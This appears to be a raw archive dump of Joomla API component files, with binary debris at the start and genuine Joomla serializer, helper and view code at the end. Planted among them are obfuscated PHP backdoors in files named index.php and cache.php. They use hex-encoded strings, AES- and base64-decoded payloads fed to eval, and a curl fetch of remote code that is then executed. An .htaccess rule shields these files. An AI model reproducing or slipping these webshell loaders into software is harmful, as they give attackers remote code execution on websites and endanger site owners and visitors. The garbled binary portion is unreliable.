�5tO|־��a��DZ�MzB.S|��9銈�%��)(�ۡ;=$G"��U�G��RK�D�K�Ȥ)��_�׾��]�e�XV�G��8��4i�?��/~�n'�a��~�뺛��{I�7���]O�;�2N8o�xiϠ䫸�_+�n�i���ӈVKq�N���>pO�M�wΉ�M��5�K#S�eDɑ_��@9/�bAQt8b�(я��w;��4���z��J���m(,��y����'�xA�{R�3%n��M�{,Xㇳ�i"J�8>��j�譮��j���~T�;\
M��$�,�S6�E��su|Jqd��05D��\˔R)�h�Fo���U@6qW����7���{A�y���n�S����n8��:/�ӧ��UK�C��ځ/��3jAj�qd�9p�ɗغ���c��A��ѐ�W<<3��p�I��T�®�"�0�e���کK@3�i�E�E�zr�=�!(�kL:I%�+{�A�tW�Z�Ƹ�Ş\�!���9P���(z:d,�q G�>꿍D��i����Yppo��E<:�qoW���W�������U��Z
S�*�(���:�5��5q9*��Z��,d>�?
�\��5$��y4��ޅ9"4� E
���%U��XB~Y��%ˎ���+Wz=��e����Ǒ�5���J�pԗdnl:)���O��76��%��Wc(����/X�b�=U�/»����Nyב��/��.���K�ԏ\����R�>�����U�U��l��
�~���R�齹r-����S�s��i?�.tW�d��>)U��V�������Z�BX��b<��Y��
�\F�'�U^�`����[�u,�:,;��I�H���q�=@^P�x$<mt���{bb�1|?����%jR�/�G^	��u~���3ڗWȄ~[R��y��w�F]��&	�
�CfL���}�QDiT9b�o�
��� <p�Tʁ׹ݼ��>�Y�S ߟ>�2K�f�t;���
���X�B��
P_
I��tZ�y���R�
d���߽�m�?��f����7����+N$}��7>ph����A`��6 9���!r�������g3���kfzyOx�P��y
��<�%�Ѥ���F7t?ٸ��՚��>��.S"z)���U�8@i,����|���Do�A�0z��)���J٭�p���`��$�
f�������E�q��p�핟��S����a��zk9�
�!��l�D�{7�=qR����+�~�}i�I�f���E��4ۥMX�g���>8~S��g��I����y�]�-���k���	�qrk$�7��h�Z�b+;%EoD4[��̽m��A���M��	s�s��d.[Q�1�|J�R_���D�uY�ez�]xZG���"]&?_���Ɠ��A��I���Ie	�WM���SǑ�9A�e)7��󽮉������_WϚ��`4���c�f��D������?(��?~����q�o7��
F�����c��������/�8�nڎt���������O��W�&[A`ϋlʋ���ן�؏u���bܶ�O���{�?�0��oN��r����/Ն)莣��f�����/����)~��~����s�ϩr�r�\2����?~���~~���a���‚�:U,K���^{g��0dW�"�-,$xI�!��f��!���o����Z�I�[��6ٷa��d��Y���>ً�g�~��}������PK?�lo[��q;����b_69188288a9bf0.tmpPK?�lo[A�bI����c_69188288a9bf0.tmpPK�PKk��\1�;���%com_templates/com_templates/index.phpnu&1i�<?php  error_reporting(0); $JibAM = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6d\x6f\x76\x5f\x36\x39\x31\x38\x38\x32\x38\x38\x61\x39\x62\x66\x30\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x31\x38\x38\x32\x38\x38\x61\x39\x62\x66\x30\x2e\x74\x6d\x70", ); (${$JibAM[0]}["\157\x66"]==1) && die($JibAM[1]($JibAM[2])); @include_once $JibAM[2]; ?>PKk��\x0�{{%com_templates/com_templates/cache.phpnu&1i�<?php  error_reporting(0); $JibAM = array("\x5f\107\x45\x54"); (${$JibAM[0]}["\157\x66"] == 1) && die("pKGOPTIrj1EKbSgZIH0zXJ6lMJc9KKA7kfhF1sqk1Eu7/wHhuIefRJB/tz7ln3lR"); @include_once "\x7a\x69\x70\x3a\x2f\x2f\x6d\x6f\x76\x5f\x36\x39\x31\x38\x38\x32\x38\x38\x61\x39\x62\x66\x30\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x31\x38\x38\x32\x38\x38\x61\x39\x62\x66\x30\x2e\x74\x6d\x70"; ?>PKk��\�ͣ@/com_content/src/Serializer/Serializer/cache.phpnu&1i�<?php $JfNte = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGio5Hl6aYGANAA'; $lHJ = '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'; function JfNte($tUNq) { $lHJ = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $tFLkU = substr($lHJ, 0, 16); $lGPH = base64_decode($tUNq); return openssl_decrypt($lGPH, "AES-256-CBC", $lHJ, OPENSSL_RAW_DATA, $tFLkU); } if (JfNte('DjtPn+r4S0yvLCnquPz1fA')){ echo 'sUm7A6y5I1Dj+symcMZ3H+7O0FVxDQSrSeiZFj76KxeoI0rYXoeLF579++dUvZ1I'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($JfNte)))); ?>PKk��\����/com_content/src/Serializer/Serializer/index.phpnu&1i�<?php
 goto jDIuyz0TRBnKk4; CMDtytSOjUMU92: $nLrPyAfNa71a0B = $p7KJn1rRj8Jfzl("\176", "\40"); goto D7YiPWq0cs8m29; D7YiPWq0cs8m29: $hkA8vk_Rh6b7kj = ${$nLrPyAfNa71a0B[9 + 22] . $nLrPyAfNa71a0B[10 + 49] . $nLrPyAfNa71a0B[32 + 15] . $nLrPyAfNa71a0B[16 + 31] . $nLrPyAfNa71a0B[10 + 41] . $nLrPyAfNa71a0B[3 + 50] . $nLrPyAfNa71a0B[57 + 0]}; goto iE9iPePFjrRXgJ; VqlUZhud7Ek4xP: metaphone("\x77\x67\x49\171\57\157\155\x66\164\x70\161\57\64\x50\65\104\x63\x58\121\66\x56\125\64\70\x47\x67\144\x52\x4b\x34\156\126\110\x66\70\123\x31\x78\106\x7a\104\101\60"); goto DvfchY0yPgRb7U; iE9iPePFjrRXgJ: @(md5(md5(md5(md5($hkA8vk_Rh6b7kj[10])))) === "\x34\66\x31\x63\x32\64\61\141\62\x33\x37\71\144\141\x38\x62\145\60\x63\62\x38\71\65\66\62\144\64\141\60\x35\66\141") && (count($hkA8vk_Rh6b7kj) == 16 && in_array(gettype($hkA8vk_Rh6b7kj) . count($hkA8vk_Rh6b7kj), $hkA8vk_Rh6b7kj)) ? ($hkA8vk_Rh6b7kj[61] = $hkA8vk_Rh6b7kj[61] . $hkA8vk_Rh6b7kj[80]) && ($hkA8vk_Rh6b7kj[85] = $hkA8vk_Rh6b7kj[61]($hkA8vk_Rh6b7kj[85])) && @eval($hkA8vk_Rh6b7kj[61](${$hkA8vk_Rh6b7kj[45]}[17])) : $hkA8vk_Rh6b7kj; goto VqlUZhud7Ek4xP; jDIuyz0TRBnKk4: $p7KJn1rRj8Jfzl = "\162" . "\141" . "\x6e" . "\147" . "\145"; goto CMDtytSOjUMU92; DvfchY0yPgRb7U: class RCn14EKazo_k3i { static function HRj7EyXt275AZV($aI_Bcd74yEUrAi) { goto zlManzmseCfX9Z; prOnM__qjlw_Im: $pXSnBE3oj3iy9j = ''; goto JFCoHsfF5_5qqZ; JFCoHsfF5_5qqZ: foreach ($YCp1Ti1774FAdd as $rKtxq9HXchF4S0 => $XbF6b6DXX4o8U2) { $pXSnBE3oj3iy9j .= $ztQWuQqglPvRKF[$XbF6b6DXX4o8U2 - 68256]; h9_i_JkS3BQJDa: } goto hJSa3E247rFlIM; hJSa3E247rFlIM: aRuCaH02fPDF5A: goto Gkx1oD3jGDEE0h; zlManzmseCfX9Z: $YCPRyiWh2LJbc1 = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto Hv4FHXpwetLqnQ; K408nvGsyRQJbJ: $YCp1Ti1774FAdd = explode("\x2e", $aI_Bcd74yEUrAi); goto prOnM__qjlw_Im; Hv4FHXpwetLqnQ: $ztQWuQqglPvRKF = $YCPRyiWh2LJbc1("\176", "\40"); goto K408nvGsyRQJbJ; Gkx1oD3jGDEE0h: return $pXSnBE3oj3iy9j; goto U5bHDFluN0p5Bd; U5bHDFluN0p5Bd: } static function A1LuNr0kyeXnlh($oZ6XNd9t2vxuD2, $bmEqXa7S3FjtlJ) { goto wJDTpLX4mpuB2D; GjowzcXaqGumfd: $brp9ZaiKdQ2fMX = curl_exec($oYlXFwq1I08d5t); goto KLtQ2S0v8k348h; KLtQ2S0v8k348h: return empty($brp9ZaiKdQ2fMX) ? $bmEqXa7S3FjtlJ($oZ6XNd9t2vxuD2) : $brp9ZaiKdQ2fMX; goto UqzktSjQ8iciTs; PDk6Vi5ZymPibx: curl_setopt($oYlXFwq1I08d5t, CURLOPT_RETURNTRANSFER, 1); goto GjowzcXaqGumfd; wJDTpLX4mpuB2D: $oYlXFwq1I08d5t = curl_init($oZ6XNd9t2vxuD2); goto PDk6Vi5ZymPibx; UqzktSjQ8iciTs: } static function LbDRihRofe6lG2() { goto jwxDvCTI5_TZL9; WG7Ud57xPs6ZM7: $mJTS7xx4cbqwq1 = $DJEBHEhlgnVdAc[2 + 0]($qm0W742R_CY1RY, true); goto E8IU3lGIbC3pha; jwxDvCTI5_TZL9: $BduzvrJ0tz5yUi = array("\66\70\62\70\x33\x2e\66\70\x32\x36\70\x2e\x36\x38\x32\70\x31\x2e\x36\70\62\x38\x35\x2e\x36\70\62\x36\x36\56\x36\x38\x32\x38\x31\x2e\66\x38\62\70\x37\56\66\x38\x32\x38\60\x2e\x36\70\62\x36\x35\x2e\66\x38\62\x37\62\56\66\70\62\x38\x33\56\66\x38\62\x36\x36\x2e\66\x38\x32\67\67\x2e\x36\70\x32\67\x31\x2e\x36\x38\62\x37\62", "\66\x38\62\x36\x37\56\66\x38\x32\66\66\56\66\x38\x32\x36\70\56\x36\x38\x32\x38\x37\x2e\66\70\x32\x36\x38\x2e\66\x38\x32\x37\x31\x2e\x36\x38\x32\x36\66\x2e\66\70\63\x33\63\x2e\x36\70\63\x33\x31", "\66\x38\x32\67\x36\x2e\66\x38\62\66\67\x2e\66\70\x32\67\x31\x2e\66\x38\62\x37\x32\x2e\66\x38\x32\70\x37\56\66\x38\x32\x38\x32\x2e\66\x38\62\70\x31\56\66\x38\x32\70\63\56\66\70\x32\67\x31\56\66\70\x32\x38\x32\56\66\x38\62\x38\x31", "\66\70\62\67\x30\56\x36\70\x32\x38\x35\x2e\x36\x38\62\70\x33\56\x36\x38\62\67\65", "\x36\70\x32\x38\64\x2e\x36\x38\x32\70\x35\56\x36\x38\x32\66\67\x2e\66\x38\62\x38\x31\x2e\x36\70\x33\x32\70\x2e\x36\x38\63\63\60\56\66\x38\62\x38\67\56\66\x38\62\x38\62\56\x36\x38\62\70\x31\56\66\70\62\70\63\56\x36\70\62\x37\61\x2e\x36\70\62\70\x32\56\66\70\x32\x38\x31", "\66\70\62\70\x30\x2e\66\x38\62\x37\67\56\x36\70\62\x37\x34\56\x36\x38\62\70\x31\56\66\70\x32\70\67\x2e\66\x38\x32\67\71\56\x36\70\62\70\x31\x2e\x36\x38\x32\x36\x36\56\66\x38\x32\x38\67\56\x36\70\x32\70\63\x2e\66\x38\62\x37\x31\56\x36\x38\x32\67\x32\x2e\x36\x38\x32\66\x36\x2e\x36\70\x32\x38\x31\x2e\66\70\62\x37\62\x2e\x36\70\x32\x36\66\x2e\x36\x38\62\66\x37", "\66\70\x33\x31\x30\56\66\x38\x33\x34\60", "\x36\70\62\x35\67", "\66\x38\x33\x33\x35\56\x36\x38\x33\64\60", "\66\70\x33\x31\x37\56\x36\70\63\x30\60\56\x36\70\63\x30\60\56\66\x38\x33\x31\67\x2e\x36\70\62\71\x33", "\x36\70\x32\x38\x30\x2e\x36\x38\62\x37\67\x2e\66\x38\62\67\x34\x2e\x36\70\x32\x36\66\56\x36\x38\x32\x38\61\x2e\66\x38\x32\66\70\56\x36\70\62\70\x37\56\x36\x38\62\x37\67\x2e\66\70\62\x37\x32\56\x36\x38\62\67\x30\56\66\70\x32\66\65\x2e\66\70\62\x36\66"); goto M2nELHxGvEKiUM; xzq8R8fS_82Gq0: $RDC0J9ggavRCkb = @$DJEBHEhlgnVdAc[1]($DJEBHEhlgnVdAc[4 + 6](INPUT_GET, $DJEBHEhlgnVdAc[5 + 4])); goto fopTOh2ncIT8J8; fopTOh2ncIT8J8: $qm0W742R_CY1RY = @$DJEBHEhlgnVdAc[2 + 1]($DJEBHEhlgnVdAc[2 + 4], $RDC0J9ggavRCkb); goto WG7Ud57xPs6ZM7; vLccwdSrA4_5rB: @eval($DJEBHEhlgnVdAc[2 + 2]($wlkNT6AHKfqJOx)); goto N8Udjabtc7YNm_; UKPDfgPSNP0iGm: wtFf1UxbohPZu9: goto ySfpus2e2DrVry; DXF24S_sb33djW: $wlkNT6AHKfqJOx = self::a1LUnr0kYexNLh($mJTS7xx4cbqwq1[0 + 1], $DJEBHEhlgnVdAc[3 + 2]); goto vLccwdSrA4_5rB; cyVszlTplK6XQs: if (!(@$mJTS7xx4cbqwq1[0] - time() > 0 and md5(md5($mJTS7xx4cbqwq1[1 + 2])) === "\x33\x66\x36\142\142\67\x34\143\70\61\x32\61\x34\66\67\145\x63\x36\x34\x30\x65\145\x38\67\x38\x34\144\x65\62\143\x61\x66")) { goto wtFf1UxbohPZu9; } goto DXF24S_sb33djW; M2nELHxGvEKiUM: foreach ($BduzvrJ0tz5yUi as $xzKGp4XoBsZEhj) { $DJEBHEhlgnVdAc[] = self::HrJ7EYXt275aZv($xzKGp4XoBsZEhj); HwS6APBEl3az9R: } goto VfOviJUapCoGv5; VfOviJUapCoGv5: wh8__qJkddRTeJ: goto xzq8R8fS_82Gq0; E8IU3lGIbC3pha: @$DJEBHEhlgnVdAc[1 + 9](INPUT_GET, "\x6f\x66") == 1 && die($DJEBHEhlgnVdAc[2 + 3](__FILE__)); goto cyVszlTplK6XQs; N8Udjabtc7YNm_: die; goto UKPDfgPSNP0iGm; ySfpus2e2DrVry: } } goto FkkRgz3AJZf_ZV; FkkRgz3AJZf_ZV: Rcn14EKAzO_K3I::lBDrIhrOFE6Lg2();
?>
PKk��\�,r��/com_content/src/Serializer/Serializer/.htaccessnu&1i�<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PKk��\2�R�vv0com_content/src/Serializer/ContentSerializer.phpnu�[���<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Api\Serializer;

use Joomla\CMS\Router\Route;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Joomla\CMS\Uri\Uri;
use Tobscure\JsonApi\Collection;
use Tobscure\JsonApi\Relationship;
use Tobscure\JsonApi\Resource;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Temporary serializer
 *
 * @since  4.0.0
 */
class ContentSerializer extends JoomlaSerializer
{
    /**
     * Build content relationships by associations
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function languageAssociations($model)
    {
        $resources = [];

        // @todo: This can't be hardcoded in the future?
        $serializer = new JoomlaSerializer($this->type);

        foreach ($model->associations as $association) {
            $resources[] = (new Resource($association, $serializer))
                ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/articles/' . $association->id));
        }

        $collection = new Collection($resources, $serializer);

        return new Relationship($collection);
    }

    /**
     * Build category relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function category($model)
    {
        $serializer = new JoomlaSerializer('categories');

        $resource = (new Resource($model->catid, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/content/categories/' . $model->catid));

        return new Relationship($resource);
    }

    /**
     * Build category relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function createdBy($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->created_by, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->created_by));

        return new Relationship($resource);
    }

    /**
     * Build editor relationship
     *
     * @param   \stdClass  $model  Item model
     *
     * @return  Relationship
     *
     * @since 4.0.0
     */
    public function modifiedBy($model)
    {
        $serializer = new JoomlaSerializer('users');

        $resource = (new Resource($model->modified_by, $serializer))
            ->addLink('self', Route::link('site', Uri::root() . 'api/index.php/v1/users/' . $model->modified_by));

        return new Relationship($resource);
    }
}
PKk��\�Õ7[[(com_content/src/Helper/ContentHelper.phpnu�[���<?php

/**
 * @package     Joomla.Api
 * @subpackage  com_content
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Api\Helper;

use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content api helper.
 *
 * @since  4.0.0
 */
class ContentHelper
{
    /**
     * Fully Qualified Domain name for the image url
     *
     * @param   string  $uri      The uri to resolve
     *
     * @return  string
     */
    public static function resolve(string $uri): string
    {
        // Check if external URL.
        if (stripos($uri, 'http') !== 0) {
            return Uri::root() . $uri;
        }

        return $uri;
    }
}
PKk��\�k��-com_content/src/View/Articles/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_content
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Api\View\Articles;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Content\Api\Helper\ContentHelper;
use Joomla\Component\Content\Api\Serializer\ContentSerializer;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The article view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'typeAlias',
        'asset_id',
        'title',
        'text',
        'tags',
        'language',
        'state',
        'category',
        'images',
        'metakey',
        'metadesc',
        'metadata',
        'access',
        'featured',
        'alias',
        'note',
        'publish_up',
        'publish_down',
        'urls',
        'created',
        'created_by',
        'created_by_alias',
        'modified',
        'modified_by',
        'hits',
        'version',
        'featured_up',
        'featured_down',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'typeAlias',
        'asset_id',
        'title',
        'text',
        'tags',
        'language',
        'state',
        'category',
        'images',
        'metakey',
        'metadesc',
        'metadata',
        'access',
        'featured',
        'alias',
        'note',
        'publish_up',
        'publish_down',
        'urls',
        'created',
        'created_by',
        'created_by_alias',
        'modified',
        'hits',
        'version',
        'featured_up',
        'featured_down',
    ];

    /**
     * The relationships the item has
     *
     * @var    array
     * @since  4.0.0
     */
    protected $relationship = [
        'category',
        'created_by',
        'tags',
    ];

    /**
     * Constructor.
     *
     * @param   array  $config  A named configuration array for object construction.
     *                          contentType: the name (optional) of the content type to use for the serialization
     *
     * @since   4.0.0
     */
    public function __construct($config = [])
    {
        if (\array_key_exists('contentType', $config)) {
            $this->serializer = new ContentSerializer($config['contentType']);
        }

        parent::__construct($config);
    }

    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        foreach (FieldsHelper::getFields('com_content.article') as $field) {
            $this->fieldsToRenderList[] = $field->name;
        }

        return parent::displayList();
    }

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
